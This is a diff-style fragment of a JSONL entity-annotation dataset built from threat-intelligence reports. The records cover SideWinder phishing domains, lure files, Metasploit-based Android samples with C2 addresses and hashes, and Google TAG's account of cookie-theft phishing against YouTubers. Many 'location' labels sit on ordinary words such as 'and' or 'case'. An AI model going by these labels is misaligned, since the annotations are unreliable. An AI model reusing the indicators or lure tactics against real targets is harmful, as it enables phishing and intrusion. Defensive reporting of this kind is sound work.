 {"id":11686,"text":"“India reaction after new pak map.pdf” – a document talking about India’s response to the new political map revealed by Pakistan in August.","entities":[],"relations":[],"Comments":[]}
-{"id":11687,"text":"“Ambassador Yanchi Conversation with Nepali_Media.pdf” – a document describing an interview with China's ambassador to Nepal regarding Covid-19, the Belt and Road Initiative, and territorial issues in the Humla district.","entities":[{"id":35853,"label":"location","start_offset":149,"end_offset":153},{"id":35854,"label":"location","start_offset":154,"end_offset":157},{"id":35855,"label":"location","start_offset":175,"end_offset":178}],"relations":[],"Comments":[]}
 {"id":11688,"text":" The following table shows their targets, related phishing domains, and lure documents used in each of the phishing attacks.  Date  Phishing Domain  Targeted Organization  Targeted Mail server  Redirection after login  2019 Nov     Government of Nepal  mail.nepal.gov.np  Redirect to file “IMG_0002.pdf”  2019 Nov     Ministry of Defence, Nepal  mail.mod.gov.np  Redirect to original mail server  2019 Dec  mail-","entities":[{"id":35857,"label":"attack-pattern","start_offset":50,"end_offset":58},{"id":35858,"label":"location","start_offset":68,"end_offset":71},{"id":35859,"label":"location","start_offset":72,"end_offset":76},{"id":35860,"label":"attack-pattern","start_offset":107,"end_offset":115},{"id":35861,"label":"location","start_offset":126,"end_offset":130},{"id":35862,"label":"attack-pattern","start_offset":132,"end_offset":140},{"id":35864,"label":"location","start_offset":246,"end_offset":251},{"id":35867,"label":"location","start_offset":339,"end_offset":344}],"relations":[],"Comments":[]}
 {"id":11689,"text":"mofagovnp.zapto[.]org","entities":[],"relations":[],"Comments":[]}
-{"id":11690,"text":" Ministry of Foreign Affairs, Nepal","entities":[{"id":35870,"label":"location","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":11691,"text":" mail.mofa.gov.np  ","entities":[],"relations":[],"Comments":[]}
-{"id":11692,"text":"Redirect to web news “China, Nepal sign trade, infrastructure and security deals”  2019 Dec     Government of Nepal  mail.nepal.gov.np  Redirect to file “consultation_1523857630.pdf”  2020 Jan  imail.aop.gov-","entities":[{"id":35874,"label":"location","start_offset":40,"end_offset":45},{"id":35875,"label":"location","start_offset":62,"end_offset":65},{"id":35876,"label":"location","start_offset":66,"end_offset":74},{"id":35878,"label":"location","start_offset":110,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":11693,"text":"af[.]org","entities":[],"relations":[],"Comments":[]}
 {"id":11694,"text":"Administrative Office of the President, Afghanistan  imail.aop.gov.af  Redirect to web page “Observation Of Technology Use in Afghanistan Government Sector”  2020 Jan  mail-nscaf.myftp[.]org  Afghanistan National Security Council  mail.nsc.gov.af  Redirect to https:\/\/wikipedia.org\/USB_Killer  2020 Jan  mail-nepalarmymilnp.duckdns[.]org  Nepali Army  mail.nepalarmy.mil.np  Redirect to PDF “EN Digital Nepal Framework V8.4 15 July 2019.pdf”  2020 Jan  mail-mofagovnp.hopto[.]org  Ministry of Foreign Affairs, Nepal  mail.mofa.gov.np  Redirect to PDF “national-security-vol-3-issue-1-essay-SSimkhada.pdf”  2020 Jan  webmail.mohe.gov-af[.]org  Ministry of Higher Education, Afghanistan  webmail.mohe.gov.af  Redirect to original mail server  2020 Feb     Ministry of Defense, Sri Lanka  mail.defence.lk  Login Error  2020 Feb  mail.moha.gov-np[.]org  Ministry of Home Affairs, Nepal  mail.moha.gov.np  Redirect to original mail server  2020 Feb  mail.nsc.gov-af[.]org  Afghanistan National Security Council  mail.nsc.gov.af  Redirect to original mail server  2020 Feb  mail.arg.gov-af[.]org  Presidential Palace, Afghanistan  mail.arg.gov.af  Redirect to original mail server  2020 Feb  mail.arg.gov-af[.]org  Presidential Palace, Afghanistan  mail.arg.gov.af  Redirect to original mail server  2020 Feb     Center for Education and Human Resource Development, Nepal  mail.doe.gov.np  Redirect to file “Para Basic Course Joining Instruction.docx”  2020 Mar  mail-nepalgovnp.duckdns[.]org  Government of Nepal  mail.nepal.gov.np  Redirect to original mail server  2020 Mar     Nepal Electricity Authority  mail.nea.org.np  Redirect to original mail server  2020 Mar  mail-nepalgovnp.duckdns[.]org  Government of Nepal  mail.nepal.gov.np  Redirect to file “central data form.pdf”  2020 Mar  mail-nepalarmymilnp.duckdns[.]org  Nepali Army  mail.nepalarmy.mil.np  Redirect to file “Corona Virus Preparedness and Response.pdf”  2020 Mar  mail-nepalpolicegov.hopto[.]org  Nepal Police  mail.nepalpolice.gov.np  Redirect to file “1987 Conducting training on COVID-19 and keeping it in readiness.pdf”  2020 Apr  mail-nrborg.hopto[.]org  Nepal Rastra Bank  mail.nrb.gov.np  Redirect to file ”fiu.pdf”  2020 May  mail-nepalarmymilnp.duckdns[.]org  Nepali Army  mail.nepalarmy.mil.np  Redirect to web news “India Should Realise China Has Nothing to Do With Nepal’s Stand on Lipulekh”  2020 Jun  mail-nepalarmymilnp.duckdns[.]org  Nepali Army  mail.nepalarmy.mil.np  Showing login failed message  2020 Jul     Qatar Charity  mail.qcharity.org  Redirect to original mail server  2020 Jul     Myanma Posts and Telecommunications  webmail.mpt.net.mm  Redirect to original mail server  2020 Aug  mail-ncporgnp.hopto[.]org  Nepal Communist Party  mail.ncp.org.np  Redirect to file “India reaction after new pak map.pdf”  2020 Aug  mail-nscaf.myftp[.]org  Afghanistan National Security Council  mail.nsc.gov.af  Redirect to 10[.]77[.]17[.]10\/Software\/03-Applications  2020 Sep  mail-mofgovnp.hopto[.]org                               Ministry of Finance, Nepal  mail.mof.gov.np  Redirect to file “1987 Covid.pdf”  2020 Sep  mail-ncporgnp.hopto[.]org  Nepal Communist Party  mail.ncp.org.np  Redirect to document “The spectre of a new Maoist conflict in Nepal”  2020 Sep  imail.aop.gov-af[.]org  Administrative Office of the President, Afghanistan  imail.aop.gov.af  Redirect to file “SOP of Military Uniform .pdf”  2020 Oct  mail-nepalpolicegovnp.duckdns[.]org  Nepal Police  mail.nepalpolice.gov.np  Redirect to file “2077-07-03 1239 Regarding investigation and action.pdf”  2020 Oct     Civil Aviation Authority of Nepal  mail.caanepal.gov.np  Redirect to original mail server  2020 Oct  mail-apfgovnp.ddns[.]net mail-apfgavnp.hopto[.]org  Armed Police Force, Nepal  mail.apf.gov.np  Redirect to original mail server  2020 Oct  mail-nscaf.myftp[.]org  Afghanistan National Security Council  mail.nsc.gov.af  Redirect to file “IT Services Request Form.pdf”  2020 Nov  mail-ntcnetnp.serveftp[.]com  Nepal Telecom  webmail.ntc.net.np  Redirect to original mail server  2020 Nov  mail-kmgcom.ddns[.]net  Kantipur Media Group  mail.kmg.com.np  Redirect to original mail server  2020 Nov     Federal Parliament of Nepal  mail.parliament.gov.np  Redirect to original mail server  2020 Nov     Public Procurement Monitoring Office, Nepal  mail.ppmo.gov.np  Redirect to original mail server  2020 Nov  mail-mfagovcn.hopto[.]org  Ministry of Foreign Affairs, China  mail.mfa.gov.cn  Redirect to file “Ambassador Yanchi Conversation with Nepali_Media.pdf”          Figure 8.","entities":[{"id":35882,"label":"tools","start_offset":15,"end_offset":21},{"id":35883,"label":"location","start_offset":40,"end_offset":51},{"id":35885,"label":"location","start_offset":87,"end_offset":91},{"id":35886,"label":"location","start_offset":127,"end_offset":138},{"id":35887,"label":"location","start_offset":159,"end_offset":163},{"id":35888,"label":"location","start_offset":193,"end_offset":204},{"id":35889,"label":"location","start_offset":205,"end_offset":213},{"id":35890,"label":"location","start_offset":214,"end_offset":222},{"id":35891,"label":"location","start_offset":223,"end_offset":230},{"id":35893,"label":"URL","start_offset":261,"end_offset":293},{"id":35894,"label":"location","start_offset":295,"end_offset":299},{"id":35896,"label":"location","start_offset":405,"end_offset":410},{"id":35899,"label":"location","start_offset":512,"end_offset":517},{"id":35901,"label":"location","start_offset":609,"end_offset":613},{"id":35903,"label":"location","start_offset":676,"end_offset":687},{"id":35905,"label":"location","start_offset":744,"end_offset":748},{"id":35906,"label":"location","start_offset":778,"end_offset":787},{"id":35908,"label":"location","start_offset":819,"end_offset":823},{"id":35910,"label":"location","start_offset":865,"end_offset":869},{"id":35911,"label":"location","start_offset":879,"end_offset":884},{"id":35913,"label":"location","start_offset":938,"end_offset":942},{"id":35917,"label":"location","start_offset":1061,"end_offset":1065},{"id":35919,"label":"location","start_offset":1107,"end_offset":1113},{"id":35920,"label":"location","start_offset":1115,"end_offset":1126},{"id":35922,"label":"location","start_offset":1179,"end_offset":1183},{"id":35924,"label":"location","start_offset":1225,"end_offset":1231},{"id":35925,"label":"location","start_offset":1233,"end_offset":1244},{"id":35927,"label":"location","start_offset":1297,"end_offset":1301},{"id":35928,"label":"location","start_offset":1310,"end_offset":1316},{"id":35929,"label":"location","start_offset":1331,"end_offset":1334},{"id":35930,"label":"location","start_offset":1363,"end_offset":1368},{"id":35933,"label":"location","start_offset":1450,"end_offset":1454},{"id":35934,"label":"location","start_offset":1455,"end_offset":1458},{"id":35935,"label":"location","start_offset":1505,"end_offset":1510},{"id":35937,"label":"location","start_offset":1565,"end_offset":1569},{"id":35938,"label":"location","start_offset":1570,"end_offset":1573},{"id":35939,"label":"location","start_offset":1578,"end_offset":1583},{"id":35941,"label":"location","start_offset":1658,"end_offset":1662},{"id":35942,"label":"location","start_offset":1663,"end_offset":1666},{"id":35943,"label":"location","start_offset":1713,"end_offset":1718},{"id":35945,"label":"location","start_offset":1757,"end_offset":1764},{"id":35946,"label":"location","start_offset":1781,"end_offset":1785},{"id":35947,"label":"location","start_offset":1786,"end_offset":1789},{"id":35949,"label":"location","start_offset":1880,"end_offset":1886},{"id":35950,"label":"location","start_offset":1906,"end_offset":1909},{"id":35952,"label":"location","start_offset":1968,"end_offset":1973},{"id":35953,"label":"location","start_offset":1974,"end_offset":1980},{"id":35956,"label":"location","start_offset":2062,"end_offset":2065},{"id":35958,"label":"location","start_offset":2131,"end_offset":2136},{"id":35962,"label":"location","start_offset":2298,"end_offset":2303},{"id":35963,"label":"location","start_offset":2319,"end_offset":2324},{"id":35964,"label":"location","start_offset":2348,"end_offset":2353},{"id":35965,"label":"location","start_offset":2376,"end_offset":2380},{"id":35967,"label":"location","start_offset":2487,"end_offset":2491},{"id":35968,"label":"location","start_offset":2500,"end_offset":2505},{"id":35969,"label":"location","start_offset":2506,"end_offset":2513},{"id":35971,"label":"location","start_offset":2568,"end_offset":2572},{"id":35972,"label":"location","start_offset":2594,"end_offset":2597},{"id":35974,"label":"location","start_offset":2672,"end_offset":2676},{"id":35975,"label":"location","start_offset":2709,"end_offset":2714},{"id":35977,"label":"location","start_offset":2767,"end_offset":2772},{"id":35978,"label":"location","start_offset":2806,"end_offset":2810},{"id":35979,"label":"location","start_offset":2840,"end_offset":2851},{"id":35980,"label":"location","start_offset":2852,"end_offset":2860},{"id":35981,"label":"location","start_offset":2861,"end_offset":2869},{"id":35982,"label":"location","start_offset":2870,"end_offset":2877},{"id":35984,"label":"IPV4","start_offset":2908,"end_offset":2925},{"id":35985,"label":"location","start_offset":2952,"end_offset":2956},{"id":35986,"label":"location","start_offset":3039,"end_offset":3044},{"id":35988,"label":"location","start_offset":3098,"end_offset":3102},{"id":35989,"label":"location","start_offset":3135,"end_offset":3140},{"id":35991,"label":"location","start_offset":3238,"end_offset":3243},{"id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 {"id":11695,"text":"SideWinder’s phishing page disguised as a Nepalese Army OWA (Outlook Web Access) Page      Figure 9.","entities":[{"id":36036,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":36037,"label":"attack-pattern","start_offset":13,"end_offset":21},{"id":36038,"label":"location","start_offset":22,"end_offset":26},{"id":36039,"label":"location","start_offset":61,"end_offset":68},{"id":36040,"label":"malware","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":11696,"text":"The lure document redirected from the phishing page that discusses Indian and Pakistani political map issues      Figure 10","entities":[{"id":36041,"label":"location","start_offset":4,"end_offset":8},{"id":36042,"label":"attack-pattern","start_offset":38,"end_offset":46},{"id":36043,"label":"location","start_offset":47,"end_offset":51},{"id":36045,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":11697,"text":" The lure document covering the interview of China’s ambassador to Nepal     Android applications","entities":[{"id":36048,"label":"location","start_offset":5,"end_offset":9},{"id":36050,"label":"location","start_offset":67,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":11698,"text":"We also identified multiple Android APK files on their server.","entities":[],"relations":[],"Comments":[]}
-{"id":11699,"text":"Interestingly, these Android applications still seem to be under the initial development phase as they are basic, still use the default Android icons, and have no practical function for users.","entities":[{"id":36051,"label":"location","start_offset":103,"end_offset":106},{"id":36052,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
 {"id":11700,"text":"     Figure 11.","entities":[],"relations":[],"Comments":[]}
-{"id":11701,"text":"The default Android icons used by the APKs     We noticed two applications among them, named “My First APP” and “Opinion Poll,” that seemingly have no malicious behavior.","entities":[{"id":36055,"label":"location","start_offset":81,"end_offset":85},{"id":36056,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":11702,"text":"My First APP demonstrates login & register processes, while Opinion Poll acts as an opinion polling application for the Indian-Nepalese political map dispute.","entities":[{"id":36058,"label":"location","start_offset":34,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":11703,"text":"The first application is likely an Android demo application for beginners, while the second one starts with an explanation of “Opinion Writing,” followed by a survey.      Figure 12.","entities":[{"id":36062,"label":"location","start_offset":25,"end_offset":31},{"id":36064,"label":"location","start_offset":92,"end_offset":95},{"id":36066,"label":"location","start_offset":159,"end_offset":165}],"relations":[],"Comments":[]}
 {"id":11704,"text":"Non-malicious applications “My First APP” and “Opinion Poll”     Another two applications were built from JavaPayload for Metasploit that will load extra code from the remote server configured in the sample.","entities":[{"id":36069,"label":"location","start_offset":42,"end_offset":45},{"id":36072,"label":"malware","start_offset":122,"end_offset":132},{"id":36073,"label":"location","start_offset":138,"end_offset":142},{"id":36074,"label":"location","start_offset":143,"end_offset":147},{"id":36075,"label":"location","start_offset":168,"end_offset":174},{"id":36076,"label":"location","start_offset":200,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":11705,"text":"While we were unable to retrieve the payload, according to the Manifest that requests numerous privacy-related permissions like location, contacts, call logs, etc., we can infer that it goes after the user’s private data.","entities":[{"id":36077,"label":"location","start_offset":63,"end_offset":71},{"id":36078,"label":"location","start_offset":148,"end_offset":152},{"id":36079,"label":"location","start_offset":168,"end_offset":171},{"id":36080,"label":"location","start_offset":186,"end_offset":190}],"relations":[],"Comments":[]}
 {"id":11706,"text":"These two samples appear to be debug versions as they have no activities or any other component except Metasploit.","entities":[{"id":36082,"label":"malware","start_offset":103,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":11707,"text":"     Figure 13. Build from Metasploit and Request Permissions     We also identified a malicious version of the My First APP application that added Metasploit whose class names have been obfuscated.","entities":[{"id":36084,"label":"malware","start_offset":27,"end_offset":37},{"id":36085,"label":"location","start_offset":38,"end_offset":41},{"id":36087,"label":"malware","start_offset":148,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":11708,"text":"     Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":11709,"text":"Malicious version of My First APP, which adds Metasploit     SideWinder has used malicious apps as part of its operation before.","entities":[{"id":36090,"label":"malware","start_offset":46,"end_offset":56},{"id":36091,"label":"threat-actor","start_offset":61,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":11710,"text":"In the campaign referenced earlier, the group used malicious APKs disguised as photography and file manager tools to lure users into downloading them.","entities":[{"id":36092,"label":"location","start_offset":7,"end_offset":15},{"id":36093,"label":"location","start_offset":91,"end_offset":94},{"id":36094,"label":"location","start_offset":117,"end_offset":121},{"id":36095,"label":"location","start_offset":145,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":11711,"text":"Once downloaded into the user’s mobile device, the malicious APKs launch a series of fairly sophisticated procedures that includes rooting the device to stealthily deploy the payload, as well as exploiting CVE-2019-2215 and MediaTek-SU vulnerabilities for root privileges.","entities":[{"id":36096,"label":"location","start_offset":32,"end_offset":38},{"id":36097,"label":"location","start_offset":215,"end_offset":219},{"id":36098,"label":"location","start_offset":220,"end_offset":223},{"id":36099,"label":"location","start_offset":256,"end_offset":260}],"relations":[],"Comments":[]}
-{"id":11712,"text":"The payload’s ultimate goal is to gather information from the compromised device and then send it back to its C&C server.","entities":[{"id":36100,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11713,"text":"In the case of these newer APKs, it seems that the goal is to gather user information as well.","entities":[{"id":36101,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":11714,"text":"Unlike the earlier apps, which were already on the Google Play Store, all the APK files found on their server are not mature enough for a deliberate attack.","entities":[{"id":36103,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11715,"text":"In our opinion, these are still in the initial stage, and the payloads (directed at mobile users) are still being refined further.","entities":[{"id":36104,"label":"location","start_offset":22,"end_offset":25},{"id":36105,"label":"location","start_offset":54,"end_offset":57},{"id":36106,"label":"location","start_offset":84,"end_offset":90},{"id":36107,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":11716,"text":"Conclusion","entities":[],"relations":[],"Comments":[]}
 {"id":11717,"text":"As seen with their phishing attacks and their mobile device tools’ continuous development, SideWinder is very proactive in using trending topics like Covid-19 or various political issues as a social engineering technique to compromise their targets.","entities":[{"id":36108,"label":"attack-pattern","start_offset":19,"end_offset":27},{"id":36109,"label":"location","start_offset":36,"end_offset":39},{"id":36110,"label":"location","start_offset":46,"end_offset":52},{"id":36111,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":11718,"text":"Therefore, we recommend that users and organizations be vigilant and follow social engineering best practices to protect themselves from these kinds of campaigns.","entities":[{"id":36112,"label":"location","start_offset":35,"end_offset":38},{"id":36113,"label":"location","start_offset":65,"end_offset":68},{"id":36114,"label":"location","start_offset":95,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":11719,"text":"Indicator of Compromise Android Part IoCs  Indicator  Package name  Label  C2 server  Detection  0c182b51ff1dffaa384651e478155632c6e65820322774e416be20e6d49bb8f9  com.example.firstandoidapp  ","entities":[{"id":36115,"label":"SHA2","start_offset":97,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":11720,"text":"My First App  -     061b0379a12b88488db8540226e400e3f65fef9a4c1aa7744da9f17e1d93d78d  com.example.opinionpoll  OpinionPoll  -     fb6ac9d93fd47db3d32f6da6320344a125e96754a94babb9d9d12b6604a42536  com.metasploit.stage  MainActivity  https:\/\/185.225.19[.]46:4589  AndroidOS_Metasploit.HRX  468b74883536938ef3962655dfcc3ca4097ca9b5b687dfc1fef58d50e96dc248  com.metasploit.stage  MainActivity  tcp:\/\/185.225.19.46[:]4875   AndroidOS_Metasploit.HRX  a377e5f4bf461b86f938959256b7ab8b1b40bb9fd3cd45951c736a22366a8dd1  com.example.firstandoidapp  My First App  tcp:\/\/185.225.19.46[:]4875  AndroidOS_Metasploit.","entities":[{"id":36116,"label":"SHA1","start_offset":20,"end_offset":84},{"id":36117,"label":"SHA2","start_offset":130,"end_offset":194},{"id":36118,"label":"URL","start_offset":232,"end_offset":260},{"id":36119,"label":"SHA2","start_offset":288,"end_offset":352},{"id":36120,"label":"MD5","start_offset":445,"end_offset":509}],"relations":[],"Comments":[]}
 {"id":11721,"text":"HRX","entities":[],"relations":[],"Comments":[]}
@@ -11732,831 +8137,290 @@
 {"id":11732,"text":"Downloader.JS.TRX.XXJSE9EFF018  940265867D5668956D64ADF9FC4B9C6CF9E7FCFCF5C21BA7BF0BEA77B5EDD047  Fake DUser.dll  Trojan.MSIL.SIDEWINDER.A     B22946CFEFE8646CB034F358C68CAAE5F30C1CF316CFFEAF77021C099E362C64  Fake DUser.dll  Trojan.MSIL.SIDEWINDER.A     89E392FA49C6A6AEB9056E3D2F38B07D0DD7AF230CD22E3B01C71F05A3AECA0B  Fake DUser.dll  Trojan.MSIL.SIDEWINDER.A     EB2D82DD0799196FCF631E15305676D737DC6E40FF588DCF123EDACD023F1C46  Final payload  Trojan.Win32.SIDEWINDER.B     7ECAEFCB46CDDEF1AE201B1042A62DD093594C179A6913A2DE47AB98148545DD  Final payload  Trojan.Win32.SIDEWINDER.B     799260B992C77E2E14F2D586665C570142D8425864455CAB5F2575015CD0B87A  Final payload  Trojan.Win32.SIDEWINDER.B      brep.cdn-edu[.]net  RTF delivery server     www.mfa.filesrvr[.]net  RTF delivery server     www.google.gov-pok[.]net  RTF delivery server     ap","entities":[{"id":36133,"label":"SHA2","start_offset":32,"end_offset":96},{"id":36134,"label":"SHA2","start_offset":143,"end_offset":207},{"id":36135,"label":"SHA2","start_offset":254,"end_offset":318},{"id":36136,"label":"SHA2","start_offset":365,"end_offset":429},{"id":36137,"label":"SHA2","start_offset":476,"end_offset":540},{"id":36138,"label":"SHA2","start_offset":587,"end_offset":651}],"relations":[],"Comments":[]}
 {"id":11733,"text":"-ms[.]net  C&C     cdn-sop[.]net  C&C     fqn-cloud[.]net  C&C     ms-trace[.]net  C&C     imail.aop.gov-af[.]org  Phishing Domain     mail-apfgavnp.hopto[.]org  Phishing Domain     mail-apfgovnp.ddns[.]net  Phishing Domain     mail-kmgcom.ddns[.]net  Phishing Domain     mail-mfagovcn.hopto[.]org  Phishing Domain     mail","entities":[{"id":36141,"label":"attack-pattern","start_offset":115,"end_offset":123},{"id":36142,"label":"attack-pattern","start_offset":162,"end_offset":170},{"id":36143,"label":"attack-pattern","start_offset":208,"end_offset":216},{"id":36144,"label":"attack-pattern","start_offset":252,"end_offset":260},{"id":36145,"label":"attack-pattern","start_offset":299,"end_offset":307}],"relations":[],"Comments":[]}
 {"id":11734,"text":"-mofagovnp.hopto[.]org  Phishing Domain     mail-ncporgnp.hopto[.]org  Phishing Domain     mail-nepalarmymilnp.duckdns[.]org  Phishing Domain     mail-nepalgovnp.duckdns[.]org  Phishing Domain     mail-nepalpolicegov.hopto[.]org  Phishing Domain     mail-nepalpolicegovnp.duckdns[.]org  Phishing Domain     mail-nrborg.hopto[.]org  Phishing Domain     mail-nscaf.myftp[.]org  Phishing Domain     mail-ntcnetnp.serveftp[.]com  Phishing Domain     mail.arg.gov-af[.]org  Phishing Domain     mail.moha.gov-np[.]org  Phishing Domain     mail.nsc.gov-af[.]org  Phishing Domain     webmail.mohe.gov-af[.]org  Phishing Domain          Tags","entities":[{"id":36146,"label":"attack-pattern","start_offset":24,"end_offset":32},{"id":36147,"label":"attack-pattern","start_offset":71,"end_offset":79},{"id":36148,"label":"attack-pattern","start_offset":126,"end_offset":134},{"id":36149,"label":"attack-pattern","start_offset":177,"end_offset":185},{"id":36150,"label":"attack-pattern","start_offset":230,"end_offset":238},{"id":36151,"label":"attack-pattern","start_offset":287,"end_offset":295},{"id":36152,"label":"attack-pattern","start_offset":332,"end_offset":340},{"id":36153,"label":"attack-pattern","start_offset":376,"end_offset":384},{"id":36154,"label":"attack-pattern","start_offset":426,"end_offset":434},{"id":36156,"label":"attack-pattern","start_offset":469,"end_offset":477},{"id":36158,"label":"attack-pattern","start_offset":513,"end_offset":521},{"id":36160,"label":"attack-pattern","start_offset":556,"end_offset":564},{"id":36162,"label":"attack-pattern","start_offset":603,"end_offset":611}],"relations":[],"Comments":[]}
-{"id":11735,"text":" Endpoints | APT & Targeted Attacks | Research | Mobile | Articles, News, Reports","entities":[{"id":36163,"label":"location","start_offset":13,"end_offset":16},{"id":36164,"label":"location","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]}
-{"id":11736,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":36166,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":11737,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":36168,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":11738,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":36170,"label":"location","start_offset":23,"end_offset":31},{"id":36172,"label":"location","start_offset":113,"end_offset":117},{"id":36173,"label":"location","start_offset":124,"end_offset":130},{"id":36174,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
 {"id":11739,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":36179,"label":"location","start_offset":85,"end_offset":88},{"id":36181,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":11740,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":36187,"label":"location","start_offset":52,"end_offset":56},{"id":36188,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":36189,"label":"location","start_offset":75,"end_offset":79},{"id":36192,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11741,"text":"With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).","entities":[{"id":36198,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":11742,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":11743,"text":"In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.","entities":[{"id":36201,"label":"location","start_offset":68,"end_offset":71},{"id":36202,"label":"location","start_offset":98,"end_offset":102},{"id":36203,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":11744,"text":"Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.","entities":[{"id":36204,"label":"attack-pattern","start_offset":59,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":11745,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":36206,"label":"location","start_offset":73,"end_offset":81},{"id":36207,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
-{"id":11746,"text":" Many YouTube creators provide an email address on their channel for business opportunities.","entities":[{"id":36208,"label":"location","start_offset":1,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":11747,"text":"In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.","entities":[{"id":36210,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":11748,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":36211,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":36212,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":11749,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":36213,"label":"location","start_offset":9,"end_offset":15},{"id":36214,"label":"location","start_offset":30,"end_offset":34},{"id":36215,"label":"location","start_offset":46,"end_offset":53},{"id":36216,"label":"location","start_offset":54,"end_offset":58},{"id":36218,"label":"location","start_offset":141,"end_offset":144},{"id":36220,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":11750,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[{"id":36222,"label":"location","start_offset":46,"end_offset":50},{"id":36223,"label":"location","start_offset":82,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":11751,"text":" The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.","entities":[{"id":36224,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":11752,"text":"To date, we’ve identified at least 1,011 domains created solely for this purpose.","entities":[{"id":36225,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":11753,"text":"Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.","entities":[{"id":36227,"label":"location","start_offset":54,"end_offset":59},{"id":36231,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":11754,"text":"During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”","entities":[],"relations":[],"Comments":[]}
-{"id":11755,"text":"In one case, we observed a fake social media page copying content from an existing software company.","entities":[{"id":36234,"label":"location","start_offset":7,"end_offset":11},{"id":36235,"label":"location","start_offset":39,"end_offset":44},{"id":36236,"label":"location","start_offset":45,"end_offset":49},{"id":36237,"label":"location","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":11756,"text":"The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.","entities":[{"id":36238,"label":"location","start_offset":49,"end_offset":53},{"id":36239,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":11757,"text":"Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.","entities":[{"id":36241,"label":"location","start_offset":32,"end_offset":35},{"id":36242,"label":"attack-pattern","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
